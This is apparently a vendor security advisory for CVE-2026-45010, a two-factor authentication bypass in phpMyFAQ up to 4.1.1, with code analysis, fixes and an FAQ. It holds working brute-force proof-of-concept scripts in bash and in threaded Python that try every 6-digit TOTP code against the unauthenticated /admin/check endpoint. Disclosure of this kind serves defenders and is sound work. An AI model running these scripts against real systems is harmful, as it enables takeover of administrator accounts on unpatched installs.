CVE-2026-45010

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    $user = $this->currentUserService;
    $user->getUserById($userId);

    if (strlen((string) $token) === 6) {
        $tfa = $this->twoFactor;
        $result = $tfa->validateToken($token, $userId);

        if ($result) {
            $user->twoFactorSuccess();
            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());
            return new RedirectResponse(url: './');
        }

        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());
    }

    return new RedirectResponse('./token?user-id=' . $userId);
}

Problems:

1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.
2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1

# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \
    -X POST "${TARGET_HOST}/admin/check" \
    -d "token=${code}&user-id=${USER_ID}")

  # A successful 2FA grants a session and redirects to ./
  # A failure redirects to ./token?user-id=1
  if echo "$RESPONSE" | grep -qv "token?user-id="; then
    echo "[+] Valid TOTP: ${code}"
    break
  fi
done

# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check"
USER_ID = 1

def try_code(code):
    r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False)
    location = r.headers.get("Location", "")
    if "token?user-id=" not in location:
        return code
    return None

with ThreadPoolExecutor(max_workers=50) as pool:
    for result in pool.map(try_code, range(1000000)):
        if result is not None:
            print(f"[+] Valid TOTP: {result:06d}")
            break

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1)
CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

CVE-2026-45010 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    // Require that the session proves password auth for this specific user
    if ($this->session->get('2fa_pending_user_id') !== $userId) {
        return new RedirectResponse(url: './login');
    }

    // ... existing TOTP validation ...
}

And in authenticate(), after successful password check:

$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());

Found by aisafe.io

1. What is CVE-2026-45010? CVE-2026-45010 is a critical-severity security vulnerability in thorsten/phpmyfaq (composer), affecting versions <= 4.1.1. It is fixed in 4.1.2.
2. How severe is CVE-2026-45010? CVE-2026-45010 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-45010?
   • thorsten/phpmyfaq (composer) (versions <= 4.1.1)
   • phpmyfaq/phpmyfaq (composer) (versions <= 4.1.1)
4. Is there a fix for CVE-2026-45010? Yes. CVE-2026-45010 is fixed in 4.1.2. Upgrade to this version or later.
5. Is CVE-2026-45010 exploitable, and should I be worried? Whether CVE-2026-45010 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45010 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45010?
   • Upgrade thorsten/phpmyfaq to 4.1.2 or later
   • Upgrade phpmyfaq/phpmyfaq to 4.1.2 or later